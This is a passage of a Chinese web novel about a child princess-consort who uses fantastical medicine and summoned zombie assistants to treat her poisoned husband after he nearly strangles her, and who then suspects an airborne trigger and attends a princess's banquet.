她转头瞪着还在看戏的司徒家几人,不客气地开始赶人:“你们走吧,我夫君已经好了,红蕖,送客。”
她急着想把人赶走,可司徒冉等人哪里会看不出司徒砚只是暂时恢复神志。
他摇摇头叹道:“五弟妹,这种情况,我们不看着他完全被控制住,是不会走的。”
一旁的司徒墨突然出声,却是问言枫言墨:“他往常发病你们是怎么处理的,没有药吗?”
言墨一怔,语气有些躲闪:“有,有的……”
“那还不去拿过来?”
司徒凤急道:“他都这样了你还不给他用药,你也傻了是不是?”
言墨咬咬牙,药是有,可是那药……
凉夜清风依旧,麻辣的火锅味还在空气中飘荡。
变故却一茬接着一茬!
“唔!”
“谢元棠!”
“皇子妃!”
言墨还在犹豫,忽地听见众人大叫出声。
他抬头看去,震惊地看见司徒砚大手掐住了谢元棠的脖子。
“唔,夫君……”
谢元棠憋红了脸,小手不停拍打着他的胳膊。
可司徒砚却双目充血,彻底失去了理智。
怎么会这样?
谢元棠想不明白,刚才他明明已经清醒了!
她实在太小,尤其司徒砚还在发狂的状态,几乎用力一扯就将她从身上扯了下来。
小小的一只被他单手拎在空中,无助地蹬着小腿。
“谢元棠她……司徒砚你快松手
啊!她要死了你看不见吗?”
司徒凤吓哭了,她怕得不敢看,耳边却好像还能听见谢元棠的呼救。
她颤着手,扯了扯司徒煦的袖子:
“弟,弟弟……我害怕……”
“谢,谢元棠她……要不,要不我们救救她吧?”
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像是害怕司徒煦说“救不了”,也像是要给自己一个充足的理由似的,司徒凤颤巍巍道:“大不了让她给我们钱,行,行吗?”
她知道自己不够聪明,大事上她和母妃都是听弟弟,再说她也没那个本事。
司徒煦看了眼姐姐,又看向谢元棠。
他知道掐死人要用多久,再过十息,谢元棠必死。
不止他在看,司徒烨也在看。
他们好像在给谢元棠倒计时,又好像在犹豫挣扎。
“药来了!”
言枫拿着药飞奔过来。
司徒冉想也不想就下令:“立刻喂给他!”
“不,不准!”
谢元棠小脸憋着青紫,双手紧紧掰着司徒砚的手指,眼睛却瞪着言枫:“不准……喂药!”
言枫咬牙道:“可是皇子妃你……”
“谢元棠,你就快死了!”
司徒墨冷声道:“即便如此,你也不让给他用药吗?”
谢元棠没回答他,她感觉自己快呼吸不上来了。
她一手垂下,借着袖子的遮掩,从研究室里拿出匕首,抬头看着司徒砚。
“靠!再不……放手,我剁了啊!”
回应他的,只有司徒砚彻底失去理智,只剩下杀意和肆虐的双眸。
谢元棠眼神一厉。
她不是圣人,哪怕她将司徒砚看做自己人,也不会任由他掐死自己。
不让人给他用药,是不想他当一辈子傻子。
但他要是真想掐死她,谢元棠也不介意剁他一只手!
反正她有研究室,日后还可以给他做手术。
就算好不了,当个残废也比她自己死了强!
谢元棠缓缓抬手。
就在这时,司徒墨动了。
几乎同时,司徒煦等人也动了。
四人连同言枫言墨一起,运气轻功直奔司徒砚。
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司徒冉和司徒墨按住他双
肩,司徒烨和司徒煦控制住他双手。
言枫和言墨第一时间将谢元棠从司徒砚手中救下来。
“咳咳咳咳咳咳……
谢元棠趴在红蕖怀里,不停地咳嗽。
司徒墨一手按住还在狂暴状态的司徒砚,转头问言墨:“暗室在哪儿?
“既然不想给他用药,总有办法能关住他吧?
言墨一怔,连忙点头:“有,有的。
他在前带路,兄弟几人齐心协力将司徒砚给送了进去。
胳膊粗的大铁链一拴一捆,搞定。
谢元棠被红蕖抱着走进来,她脖子上一圈青紫的印子。
司徒墨看了一眼,抿唇道:“明明喂个药就能解决的事,为何非要大动干戈?
“咳咳……
谢元棠咳嗽两声,虚弱地趴在红蕖肩头。
闻声没有抬头,只是反问道:“给他吃药,让他变得更傻么?那跟杀了他有什么分别?
司徒墨蹙眉。
她竟然知道?
司徒冉叹了口气,摇摇头道:“罢了,如今总算暂时将人控制住,本宫回宫后会找御医前来……
“不需要。
他话没说完,谢元棠就冷声打断他:“不需要御医。
她从红蕖肩上抬头,扫了眼司徒冉几人,正色道:“夫君没病,等他醒了就好了,就算他真的好不了,我会自己找大夫,不需要宫里的御医。
“五弟妹,你……
司徒冉皱眉还想再说,被困住的司徒砚却再次惨叫出声,打断了他的话。
谢元棠等不及开始赶人:“今晚谢谢你们出手,红蕖,送客。
几人对视一眼,只好离开。
司徒墨落后几步走在最后,路过门口时,他顿住脚步,没有回头:“为了他差点连命都没有了,值吗?
谢元棠眼睫微颤,反问:“明明出手就可以控制住他,非要看戏看到这个时候。
“我也想问,这场戏,好看吗?
背对着她的司徒墨等人皆是一顿。
寂静,没有谁回答。
连司徒凤都乖乖沉默地低下了头。
谢元棠没再看他们,让红蕖将人送走后,还将言枫和言墨也赶了出去。
整个暗室,只剩下她和司徒砚两人。
第89章 他不会让她死!
“哐啦~哐啦~”
暗室里。
铁链被揪扯的不断作响。
司徒砚失控的嘶吼着,仿佛一头狂躁的困兽。
谢元棠反锁好暗室的门,隔着门板冷声吩咐言枫言墨。
“待会儿不管发生任何事,你们都不要进来,更不许让任何人靠近这里。”
言枫和言墨对视一眼。
都在彼此眼中看到了犹豫。
他们并不完全信任谢元棠,她才九岁,能有什么法子?
可是……
两人不约而同想起方才谢元棠护住司徒砚的样子。
如果不是她,当时那种场合,司徒砚已经吃下那种药了。
言墨想起围猎时,是谢元棠一人单骑,将司徒砚从山林悬崖带出来。
言枫想起华觉寺山上,谢元棠和司徒砚两人成功躲开杀手追逐,还能反杀一人。
这些他们曾以为不可能的事,因为谢元棠的参与,全都一一成真。
或许小皇妃真的是他们殿下的福星,可以为他带来奇迹!
两人对视一眼,同时点了点头。
言枫咬了咬牙,隔着门回道:“皇子妃当心,殿下情绪不稳,您千万不要松开铁链。”
顿了顿,他又道:“我们一直在门口,如果有危险,您随时喊我们。”
谢元棠并不是怕司徒砚伤害她。
她这副小身子虽然孱弱,但研究室里玩意儿可多得是。
真动起手来,别说一个司徒砚,就是这京城的禁卫军一块儿上,她都没在怕的!
对于言枫的提醒,她敷衍地回了声“知道”,而后就转身看着司徒砚。
“唔……”
司徒砚瘫坐在地上,双臂和双腿被束缚。
他痛苦地呻吟出声,整个人难耐地仰着头,脑袋不停地磕着身后的墙壁。
每一次……
每一次毒发犯病,他都要承受这种折磨。
好像被人拿着一千把刀片,从头到脚一寸寸凌迟。
再将碎肉搅拌在一起,一股脑全塞进他脑袋里!
司徒砚痛呼着,又一次重重磕向墙壁。
但这一次,清醒的疼痛却没有传来。
他勉强睁开眼,看见谢元棠伸着胳膊,
一只小手垫在他脑后。
他刚刚磕在了她掌心。
谢元棠微微笑了下,因为他这一磕,她的手背蹭到墙壁,擦破了皮。
她若无其事地收回手,而后抬起另一只小手,轻轻碰了碰他手腕上的铁链,安抚道:
“夫君别怕,我帮你治病。
甜糯糯的声音仿佛带有奇异的可以安抚人心的力量。
司徒砚怔怔望着面前的人,桃花眼充斥着血红。
一片血红中,只有那个小小的身影。
他张了张唇,却说不话来。
谢元棠拿了条纯白的纱布,轻轻将他的脑袋靠在自己身上,用白纱遮住了那双惹人心疼的桃花眼。
“夫君不要害怕,我会救你的,我可以救你。
她的手指轻柔地捋顺那一头凌乱的墨发,语气温柔,却又无比坚定。
“你只要保持理智就好,你可以做到的对不对?我夫君一直都是最棒的!
“千万不要让自己失控哦~不然你会杀死我的。
听到这句话,司徒砚骤然一僵。
“你……
司徒砚艰难开口,双手因为紧绷而撑紧了铁链:“你……走……
“走不了呢,他们把门反锁了。
司徒砚:“……
谢元棠感觉到他的反应,唇角微勾。
她就是要吓唬他,要让他牢牢地保持住清醒!
“夫君不想让我死的话,就一定要清醒哦~
被墨发遮盖的脑袋轻轻蹭了蹭她的肩膀,司徒砚哑声道:“不,不会……
他不会让她死。
谢元棠微微笑了笑:“夫君真乖~
她一边说话,小手轻轻拍着他的头,就跟平常哄他没两样。
被蒙住双眼的司徒砚看不见,不知道她的另一只手,已经捏紧银针。
更不知道这间暗室里,除了他们两个,还另有其人!
就在他身边,还站着三个大号的丧尸!
每个丧尸手里都捧着一个托盘。
一号丧尸手中的托盘上,放着大中小三种手术刀,还有剪刀钳子绷带。
二号丧尸则拿着碘伏,消炎液,营养液和解毒液等各种药剂。
三号的托盘最
诡异,上面摆放着十几只大小不一,颜色各异的试管,有几支甚至还冒着紫色的烟雾。
谢元棠深吸了口气,脸颊上冷汗直冒。
她并不轻松,要控制三个大号丧尸,还是让它们完全态出现,对现在的她来说还是太难了。
可是此时此刻,她已经顾不得那么多了。
司徒砚体内毒素不停扩散,单纯的压
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制已经没有作用,她得帮他解一部分的毒才行。
谢元棠咬紧牙根,三枚银针快速刺入司徒砚颈和颈后大椎穴。
“哗啦!”
铁链瞬间绷直。
司徒砚闷哼一声,却什么都没说,如他自己承诺的那样,竭力保持安静。
谢元棠先让他喝下一瓶营养液,而后让他靠在墙壁上,扒开他的外衣和中衣,露出胸膛。
银针被她用得只剩下残影,解毒剂和营养剂不要钱似的往司徒砚嘴里灌。
手术刀划开他的手腕,毒血被尽数引入试管中。
时间一分一秒的过去。
东方的天空开始泛白。
司徒砚刚开始还可以勉强保持清醒,到后来几次失控,再到后来干脆晕死了过去。
谢元棠一直在忙活,手里的东西不停换来换去,三个丧尸乖巧地充当着助手,一号还僵硬地伸出手,帮谢元棠擦了几次汗。
终于,将司徒砚手腕上的伤口用绷带包扎好,谢元棠大呼了口气,往后一倒,直接入睡!
而三个丧尸也在同一时间回了研究室。
“哐当!”
暗室里传出声响,言枫急忙叫道:“皇子妃?皇子妃?”
没有人回答。
言墨踹他一脚:“还愣着干吗?赶紧开门啊!”
言枫后知后觉拿出钥匙,只是当暗室门被打开,他们却愣住了。
暗室里,司徒砚狼狈地倚倒在墙边,两条大长腿瘫直着。
一头墨发微湿凌乱,露出那张苍白却又安静的容颜。
谢元棠小小一只倒在他身上,脑袋压着他的胸膛,小短腿压着他的腿。
那只小手还紧紧拽拽他的衣角,像是怕他再度失控。
像一幅……
很狼狈,却又很唯美的水墨画。
“他们……睡着了?”
言墨轻声道。
言枫抿了抿唇,眼神复杂地看着两人。
小皇妃竟然真的再一次为他们带来的奇迹。
“你守着,我去言家一趟。”
言枫开口。
昨晚的事闹那么大,他们得跟言关清说一声,以免司徒砚好不容易有了起色的名声,再度被毁掉。
言枫离开后,言墨正想关门出去。
却在离开前眼角余光一闪,瞥见那支掉落在墙角的透明试管。
言墨顿了顿,轻手轻脚走过去拾起来,疑惑地皱起眉。
“这是什么……”
第90章 不像是她的傻夫君!
谢元棠醒来时已经是下午了。
眼皮和脸颊上断断续续传来痒意,她不耐烦地伸出小手抓了下。
什么也没抓到。
“痒……烦人……”
下一秒,睫毛又痒起来,跟有根羽毛在不停地扫似的。
等等,羽毛?
谢元棠眉心微蹙。
这熟悉的骚操作,难道是……
她睁开眼,毫不意外地看见面前那张英俊的大脸。
“娘子,你醒啦!”
还是那个人,还是熟悉的动作,熟悉的笑脸,熟悉的话。
仿佛又回到了两人初次认识的那个清晨。
傻夫君也是在把玩她的眼睫,傻乎乎叫她娘子。
司徒砚脸色依然苍白,但那双桃花眼却干净澄澈,仿佛被最纯净的山泉水洗尽尘埃,只留下最单纯的黑和白。
见谢元棠怔怔地看着自己,司徒砚不由歪了歪头,迷茫地眨了眨眼:“娘子?”
下一瞬,谢元棠小手一抬。
“啪叽!”
毫不客气地一巴掌拍在他脑门上:“再玩我睫毛掰断你手指头昂!”
司徒砚憨笑着挠挠头,却很自信道:“娘子才不会,娘子对我最好了!”
谢元棠:“……”
无语地翻了个白眼,谢元棠坐起身,这才发现他们还在暗室里。
身上盖着一床被子,估计是红蕖进来过了。
司徒砚身上的铁链还绑着,只有一只手挣脱了出来
谢元棠抬起他手,看着上面因挣脱铁链而划伤的伤口,不由皱眉:“怎么弄的?”
她昨晚睡过去前不记得他手上有这些伤口啊。
司徒砚眨眨眼睛,指着被子道:“要帮娘子盖被子。”
谢元棠微愣。
就为了帮她盖被子,就将自己伤成这样?
她心里有些不舒服,却一时又说不出那种不舒服是什么。
“怎么不叫言枫他们帮你打开铁链?”
司徒砚摇摇头:“不叫,会吵醒娘子。”
谢元棠抿了抿唇,没好气地瞪他一眼:“傻夫君。”
桃花眼泛着笑,连幽暗的暗室也被染得温馨平和。
然而下一瞬,司徒砚就实力诠释了,
什么叫一句话戳破你所有幻想!
他薄唇微张,修长的手指戳了戳谢元棠蛋白似的脸颊。
“娘子睡觉张着嘴,还流口水了!嘻嘻!”
谢元棠:“……”不嘻嘻。
她没好气地按住司徒砚手腕:“看来你是全好了呀,都敢在我头上撒野了!”
“也不知道昨天是谁在那里鬼哭狼嚎的。”
司徒砚一僵,躲闪地避开了她的视线,低下头嘟囔道:“我……我不记得了……”
谢元棠:?
不是吧?
又玩失忆?
她皱起眉,双手用力捧起司徒砚的脸颊,将他的脸捧得变形,薄唇也噘成了鸭子唇。
“真不记得?一点都不记得?”
问完不等他回答,又龇牙威胁道:
“你敢骗我,我揍死你!”
司徒砚:“……”
好凶。
他眨眨眼,鸭子唇张张合合,嘟囔囊道:“记得一点点,火锅很好吃……娘子在桌上跳舞……”
“我只是踩了一下,什么叫在桌上跳舞!”
谢元棠拧他的俊脸:“少跟我扯别的!赶紧给我说重点!”
司徒砚俊脸被拧得红了一小坨,看起来像诱人的红苹果。
他犹豫了下,才吞吞吐吐道:“头很疼,我打翻了桌子,还很想打人……”
顿了顿,他看着谢元棠:“我好像看见娘子你在我旁边,后来就不记得了……”
谢元棠皱眉。
这不是刚开始的剧情吗?
合着他根本什么都不记得呗!
跟她说让她走,掐她脖子,还说不会让她死……
这些他都不记得?
还是说……
想起昨晚那双情绪复杂的桃花眼,谢元棠眼神微暗。
那双眼睛,真的不像是她的傻夫君,也不像是会失忆的样子。
见她没说话,司徒砚视线落在她脖子那一圈青紫上,喉结滚动了下,紧张又无措地问:“娘子,我打你了是不是?”
他指指她的脖子:“你睡觉的时候,我比过了,跟我的手一样大……”
他耷拉着脑袋不敢看她,跟做错事的大狗狗一样。
谢元棠挑了挑眉,倒是没有粉饰
太平,而是直接点头。
“对啊,你掐我脖子,差点把我掐死了呢!”
一听这话,司徒砚整个人顿时僵硬如石,本就苍白的脸“唰”一下,灰了!
谢元棠捏捏他的耳朵,大咧咧道:“不过你也应该庆幸你没有掐到最后,不然你的手早就被我剁下来了!”
司徒砚:
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“……”
啊?
他茫然地抬起头。
谢元棠伸了个懒腰,站起身,唇角一勾,小脸满是邪肆和狂傲。
“如果你是担心你有一天会杀了我,那你可以放心。”
“我可以跟你保证,不管任何时间,任何地点,在你杀我之前,我都一定会先杀了你的。”
司徒砚怔怔看着她,良久,笑了。
“那就好。”
这个瞬间,他甚至完全没想过,谢元棠这样做是不是太无情。
只是想着,她可以活,真是太好了!
谢元棠撇撇嘴。
她这人软硬不吃,但偏偏见不得傻夫君这副傻唧唧的样子。
“哎呀怎么还没人来给我们开门啊?”
谢元棠走到门口,拍了拍暗室的门,好一会儿言枫才跑过来。
“皇子妃,殿下,你们醒了啊!真是太好了!”
谢元棠瞪他:“醒半天了,你怎么不明天再过来开门呢?”
“额……”
言枫挠挠头,一边给司徒砚开锁一边回答:“不是,我和言墨本来是在这里守着的,但是……”
“但是什么?”
谢元棠双手叉腰:“我倒要听听你有什么理由,说不出让我满意的,就罚你扫茅厕一个月!”
言枫一噎,下意识地望向司徒砚。
满以为他家殿下会为他说句话,却不想司徒砚认真地点点头:“跟言墨一块儿扫!”
言枫:“……”他家殿下真的学坏了!
他有点委屈地说:“我不是故意的,这不是言太傅来了,而且谢家又送了嫁妆过来,需要人过去抬箱子,我才……”
“什么?”
不等他说完,谢元棠大眼一亮,瞬间满血复活。
“我的嫁妆来了?全来了?”
言枫愣愣点头:“还有言太傅也……”
“哎呀你怎么不早说啊!”
谢元棠喜笑颜开,走过去小手拍拍他胳膊:“做得好,这个月给你涨工资!”
言枫:“……”所以你就只听见了“嫁妆”两个字是吧!
谢元棠拉过司徒砚就往外冲。
“夫君快点,我们去数钱……啊不是,去看舅舅!”
言枫:“……”
看着两人往外跑的声音,言枫也跟着笑了下,随后一拍脑门,脸色瞬间大变。
“完了!”
“忘记告诉他们,皇上马上就要到了!”
第91章 敌人就在其中!
“舅舅舅舅!”
言关清正在帮忙整理谢家送来的嫁妆箱笼,忽然听见身后叽叽喳喳的欢快叫声。
他转身回头,就看见一只明媚的小花蝴蝶,蹦蹦跳跳地朝他跑来。
大大的眼睛完全没有惊恐或黯淡,只有天然的乐观喜悦。
言关清忍不住轻笑起来。
这样一个可爱的孩子,真是让人很难不喜欢。
他站在原地,看着谢元棠和大外甥一起走来。
谢元棠小小一个迈着无畏的步伐走在前面。
大外甥憨了点,被她扯着袖子,紧跟在她身旁。
两人应是还没换衣洗漱,身上隐约还能看出昨夜的狼狈痕迹,但都还好端端的。
言关清不禁想,这大概是司徒砚第一次发病,却能恢复得没有代价了。
“舅舅舅舅,你什么时候来的呀?吃饭了吗?肯定没吃吧?棠棠也好饿呢~”
在言关清还在走神的时候,谢元棠已经跑到他跟前,小嘴巴巴地说个不停。
“嗯,没吃,你们……”
言关清下意识回答,但话刚说一半,一低头就看见小丫头的眼睛直溜溜盯着嫁妆,刚才那些话只怕她都没经过大脑就说出来了!
“小丫头,我看你都快栽进去了,还管舅舅吃没吃饭?”
言关清无语,抬手轻轻敲了她头顶一下。
谁知下一秒就被司徒砚给拉开了。
“不要敲娘子的头,会长不高的!”
顿了顿,他往前一低,躬着身子,脑袋凑到言关清面前:“你敲我吧,我已经长很高了,不怕敲。”
高挑的身子恭敬乖顺的弯着,露出那一头凌乱还未梳理的黑发。
言关清低头看着外甥,想到他昨晚才经历过一场生死劫,心里顿时柔软下来。
抬手轻轻摸了摸他的头发,以手指为梳齿,帮他捋顺,轻叹道:“舅舅谁也不敲了。”
司徒砚迷茫地直起身看他一眼,没读懂他眼中的情绪,很快又被谢元棠拉去数钱。
言关清笑着道:“已经帮你对过账了,全都在这儿,一个子儿没少。”
“太好了!”
谢元棠激动地看着堆了大半个院子的箱笼,小脸都兴奋红了:“以后我也是有钱人了
!
看着两人高兴的样子,言关清摇了摇头,走到厅中边喝茶边等着他们闹玩儿。
过了会儿,司徒砚还在外面,谢元棠自个儿进来了。
“舅舅,昨天晚上的事外面没传什么流言吧?
言关清挑了挑眉,他就知道小丫头机灵着呢。
“流言倒是没有,不过知道的人也不少,连皇上都惊动了。
顿了顿,言关清道:“我来之前,皇上说今日午后有空会过来,你们待会儿去收拾一下,别脏得跟个小乞丐似的。
“父皇要过来呀……
谢元棠眉心微蹙:“那我就只能捡要紧的长话短说了。
“舅舅,你知道夫君每次发病的诱因是什么吗?
言关清端着茶杯的手指微微顿了下:“诱因?难道不是因为他中毒过深,会不时发作?
谢元棠摇摇头:“他的毒已经暂时控制住了,按说不会突然发病的,可昨天刚开始还好好的,大家都在一块儿吃着饭,忽然,他就像失了控似的。
言关清眉眼微沉。
“以往我都是他发病以后才赶到,加上御医的说辞……我竟从未想过他发病是有诱因的。
他看向谢元棠:“既是吃饭时发病,可是饭菜有毒?
谢元棠摇了摇头:“昨晚的食材虽然有其他人帮忙,但真正下锅捞出来的,都是经的红蕖和言枫他们,不可能有毒。
“就算有毒,我们所有人坐一块儿吃,又怎么能保证一定是夫君中毒呢?
还有一件事她没说,司徒砚体内的毒有多少种她一清二楚,如果中了新毒,她早就发现了。
“既不是饭菜有毒,又不是餐具……
言关清沉思道:“那就只可能是一种让人察觉不出的介质了。
察觉不出?
谢元棠骤然一僵。
她本来没想到,但言关清此时一说,她忽然灵光一闪。
“有一种东西!谢元棠眼中闪过暗芒,“无色,旁人不会有异样,但夫君极有可能受影响。
言关清眉心微皱。
两人对视一眼,异口同声道:“空气!
谢元棠小脸凝重,冷静道:“昨晚有风,火锅味儿特别明显,除此之外,
还有每个人身上佩戴的香囊,或是其他气味或粉末。”
言关清:“照这样分析,昨晚在场的几位皇子公主,加上一院子的手下随从,其中必有一人对砚儿下了毒手。”
谢元棠点点头,抿唇道:“只是就算知道是这
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样,排查起来也很麻烦。”
算是主子随从,昨晚在场的人足有二三十个,若是香囊或药粉这些东西,还会随时扔掉,就更难确定凶手了。
“不着急,起码我们有了一个范围。”言关清安慰她道,“这件事交给舅舅就好。”
谢元棠应了声,正想再跟他说药的事情,就见言枫跑了进来,急匆匆道:“皇上,皇上来了!”
谢元棠和言关清对视一眼,忙走出去迎驾。
到了院子里,却发现司徒擎已经和司徒砚聊上了。
“还好吗?”
“好着呢。”
“让御医给你看看呢?”
“不要。”
话题结束。
司徒擎有些头疼地揉了揉太阳穴,转头看向谢元棠,不由问道:“元棠如何?”
“我没事呀!”
谢元棠笑灿灿地过来请安,解释道:“父皇不要担心啦,夫君一点事都没有,昨晚闹了一会儿就睡了,睡醒就好了呢。”
司徒擎看着一如往日的傻儿子,和言关清一样,只要司徒砚还活着,对他们来说就已经是最大的安慰。
当然,如果他能健康完好的活着,那就更好了。
司徒擎抬手,拍拍儿子坚实的肩膀,欣慰道:“好,没事就好,看来元棠果真是你的小福星啊!”
这一次司徒砚认真的点点头:“娘子自然是!”
“哈哈!这你倒不敷衍朕了!”
司徒砚皱皱鼻子,躲了一下他拍着自己肩膀的手掌:“父皇,不要老拍,会高低肩的!”
司徒擎:“……”
言关清:“……”
两个长辈齐齐看向谢元棠,眼神分明。
小丫头,你平时到底都在乱教些什么乱七八糟的?
谢元棠无辜地眨眨眼。
司徒擎没待太久,他不适合总出宫,今日也是因为担心司徒砚才跑这一趟,见他没事,问了几句便和言关清一同走了。
走之前,言关清找机会小声对谢元棠道:“虞家那边你不必担心,虞贵妃不会再找你麻烦。”
谢元棠笑笑点头,暗中给舅舅点了个赞!
等走出皇子府,司徒擎才问道:“冷家的事你跟她说了吗?”
言关清一怔,笑道:“臣倒是给忘了,罢了,还是给她留个惊喜吧。”
这些谢元棠没有听见,她正警惕地看着突然出现的男人。
第94章 臭得如此……旷古绝今!
无尘走后,谢元棠还在思考他最后的那句话。
表面友善,背后长满毒牙的人……
那么多,他究竟说的是哪个?
“夫君……”
谢元棠转头,刚想说什么,就看见司徒砚还捧着那些证据,艰难地看着。
谢元棠笑了下,凑过去跟他挤在一个椅子里:“夫君哪里看不懂,我讲给你听呀。”
司徒砚委屈地抬起头,桃花眼里尽是可怜:“娘子,你应该问我哪里看得懂……”
“噗~”
谢元棠没忍住笑出声来,拿过他手里的东西道:“哎呀这有什么关系,我念给夫君听呀,就当认字了。”
她声音轻灵灵的,慢条斯理地念给他听,一点点教他哪个字是什么意思,哪个证据又有什么用。
直到言墨进来,谢元棠才发现天色已经暗了下来,而她手里的“课间”才讲了一小半。
“怎么了,可是谢奎那些人招了?”谢元棠问。
言墨点点头。
他其实已经在外面站了一小会儿了,没有人能知道他方才看见厅中那一幕的时候有多震撼。
以前会这么做的人,只有言关清,可那也是很久很久以前了。
言墨收回神,深吸口气,语气愈发恭敬:“禀皇子妃,谢奎四人均已交代,说他们是奉谢老夫人之名,来将嫁妆偷回去的。”
“呵。”
谢元棠冷笑一声,对此一点都不意外:“能大白天来偷东西,他们也真是够有脑子的。”
“关于这一点……”
言墨摸摸鼻子道:“谢奎说他是反其道而行之,想着所有人都觉得晚上会有小偷,所以晚上咱们府里防范肯定紧,反之白天就没什么人注意到,所以他才白天来。”
这话一出,司徒砚都惊了:“那他就没想过,为什么小偷都选晚上行动?”
谢元棠耸耸肩,踢了踢鞋子道:“估计以他的脑子,想不到呗。”
言墨问:“那现在如何?谢奎说他明日还要当值,求咱们给他放回去。”
谢元棠一点不在意谢奎的死活,她笑着转头问司徒砚:“夫君决定。”
司徒砚摸着下巴,苦思冥想:“扣着他不放,娘子的坏爹会找麻烦吧?万一他找了父皇,父皇
凶娘子怎么办?
“可是放了……我有点不开心。
他想了想,试探着看着谢元棠和言墨:“要不把他绑了,送官府去?就跟谢雪瑶一样,他做了坏事,就得受到惩罚。
言墨微微愣神,而后惊喜地鼻头都有点发酸:“殿下说得对,送官好,送官好!
谢元棠抬起小手揉揉他的头发:“夫君真棒!
司徒砚害羞地低下了头,脸颊都红了。
谢元棠笑着吩咐言墨:“去办吧,对了,记得在他们身上贴上大字报,最好能一眼就让人知道他们做了什么蠢事。
“是。
等言墨离开,谢元棠低头嗅了嗅自己的衣裳,小鼻子顿时皱了起来:“红蕖姐姐,我想洗澡。
红蕖笑着道:“知道皇子妃您的习惯,都给您和殿下备着呢。
谢元棠站起身,跟司徒砚各自回房洗澡。
半个时辰后谢元棠再出来,就看见红蕖拿着请帖过来,不由疑惑问:“这是什么?
红蕖道:“是大公主府里的人送来的,说是公主府明日设赏荷宴,邀您和殿下同去。
“皇姐?
刚好进来的司徒砚听见这话,好看的剑眉一蹙道:“我不去。
谢元棠好笑地看他:“为什么不去?
司徒砚皱紧眉:“不喜欢,她以前也让我去那些宴会,可是我每次去都好多人看我,我不喜欢那里。
谢元棠接过请帖,翻在手中若有所思。
大公主司徒晴,从围猎回来,谢元棠其实就想过要去拜访对方。
毕竟从司徒雅口中听到的,司徒晴对她夫君很照顾,姐弟两个也很亲近。
可是没料到的是,她递了帖子,对方竟然拒绝了。
说是病还没好,不好过了病气给他们,就不见了。
这借口虽然说得过去,但谢元棠总觉得哪里怪怪的。
结合今日无尘临走前说的话,还有司徒砚的态度,她现在再看着手里的请帖,就感觉这请帖怎么都带点不怀好意的意思。
司徒砚转头问:“娘子,我们明天去吗?
谢元棠挑了挑眉:“去啊,她都邀了这么多人,咱们要是不去,别人指不定以为夫君你真的病重了呢。
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多巧,司徒砚昨儿发病,今天她就着急忙慌开始下帖子,还故意请了那么多人。
谢元棠嘴角勾着一抹凉笑,将请帖扔在桌上:“管她什么打算,明天就知道了。”
她现在是只怕敌人不露面,这些对方主动找上门的,她高兴都来不及。
翌日。
因为谢元棠和司徒砚都耗神过度,两人醒得就晚。
好在昨天皇上来的时候,谢元棠就提前告了假,这几日他们都不用去学堂。
吃过饭,谢元棠和司徒砚就进了书房。
这书房本来是司徒砚在用,虽然他不认识什么字,但书房里该有的文房四宝和各类藏书都不少。
只是自从谢元棠住进皇子府,书房的格局就改了。
从中间一分为二,用屏风隔开。
一边是司徒砚练字读书的地方,一边是谢元棠“做研究”的地方。
此刻,谢元棠就待在自己的小隔间里鼓捣着。
等红蕖来叫他们的时候,她才堪堪伸了个懒腰,赶在司徒砚走过来前将桌上那些试管都收进空间研究室里。
“娘子,我们要出发了。”
司徒砚走过来,看见谢元棠手中的温玉,眨了眨眼道:“这不是六弟送的那个吗?”
“对呀。”
谢元棠笑着将温玉递给他:“我做了一点手脚,你闻闻看,对着上面那个小孔使劲儿闻。”
司徒砚听话地按照她说的,凑到温玉前端使劲儿吸了一口气。
而后——
“yue!”
“好臭……呕!”
司徒砚差点将温玉扔出去,一边干呕一边问谢元棠:“娘子,你往里加臭鸡蛋了?还是灌屎了?”
怎么能臭得如此……旷古绝今?
谢元棠白他一眼,将温玉给他系在腰间:“你懂什么,好好戴着,等你下次再头疼发病的时候,给我使劲儿闻,就不会发病了。”
司徒砚怔怔地看着她的动作,她小手上还有些血点,不用想就知道是给他做这个东西伤到的。
心脏忽然有些不舒服,司徒砚抿了抿唇,点点头道:“好,我听娘子的。”
谢元棠笑着拉住他:“走吧,如果我没猜错的话,今天咱们又有得玩了。”
第95章 让她乖?办不到!
公主府。
谢元棠和司徒砚一边跟随下人往里走,一边随意看着周围的风景。
不像司徒雅和司徒凤住在宫中,大公主司徒晴是三个公主中唯一拥有公主府的人。
她是先皇后唯一的孩子,还曾经作为和亲公主,远赴沧雀国,只可惜沧雀国太子是个短命鬼,司徒晴人还没到,他就两腿一蹬死了。
半路返回的司徒晴不愿再嫁,皇帝便大手一挥给她封了公主府和封地良田,如今司徒晴二十五岁,依旧单身。
而就谢元棠所知,她跟几个兄弟姊妹关系也一般,唯二比较亲近的,便是太子司徒阆,以及她夫君司徒砚。
“五殿下和皇子妃请在此稍后,公主正在偏厅见客,稍后便过来。”
小丫鬟带着笑容,态度亲昵地给两人倒茶,期间还看了眼司徒砚,笑着道:“五殿下有好一阵儿没来了,不知这里的茶是否还喝的惯?我们公主一直特意给您备着呢。”
司徒砚心不在焉地点点头。
谢元棠看了他一眼,转头笑着问小丫鬟:“不是说是赏荷宴吗?怎么不见别的客人?”
丫鬟微微一顿,恭敬答道:“二公主和三公主,还有一些贵女小姐们都已经在南园了,世子公子们对赏荷宴没多大兴趣,来得少些,也在南园。”
“咱们公主是怕五殿下不习惯,所以让您二人先在这里暂等,她待会儿过来亲自招待你们。”
“嗐,不用那么麻烦,我们自己逛就行。”
谢元棠一摆手跳下椅子,她一动,司徒砚立刻站起身。
“我们自己逛去,你回去告诉皇姐让她不必忙着过来了。”
谢元棠小手牵着司徒砚的袖子,说话间已经在往走。
见两人要走,丫鬟着急了,下意识拦在两人面前:“小皇妃还是等等吧,公主府大,万一迷路就不好了。”
“没事,我记路一向好得很,迷不了。”
谢元棠说着,顿了一顿,看着拦在她面前的丫鬟,似笑非笑道:“还是说……皇姐想将我们软禁在这里呢?”
“不,当然不是……”
丫鬟脸色一白,急忙解释:“您误会了,公主不是……”
“那就让开。”
谢元棠冷哼一声,拉着司徒砚就
走了出去。
好端端一个赏荷宴,别人来了都是逛园子,凭什么他们就要被单独留在这里?
管她司徒晴是真的想照顾人,还是另有手段,谢元棠就是不给她这个脸!
想让她乖?
不好意思,办不到!
谢元棠大步往前走,司徒砚小碎步跟着。
丫鬟看着两人离开的背影,咬了咬唇,悄悄跑去找司徒晴。
谢元棠说是赏荷,就真的在到处逛。
司徒砚别的不说,对这里还算熟悉,知道其他人都在南园,他就没往那边去,直接领着谢元棠在北园里逛。
“这里没南边的花多,但是都好看,娘子你喜欢吗?”
“喜欢呀,这里安静。”
谢元棠蹲在花丛里,嗅了嗅其中一朵:“这么美的花……加点疯痒剂就好玩儿了嘻嘻~”
“疯痒剂是什么?”
“就是……”
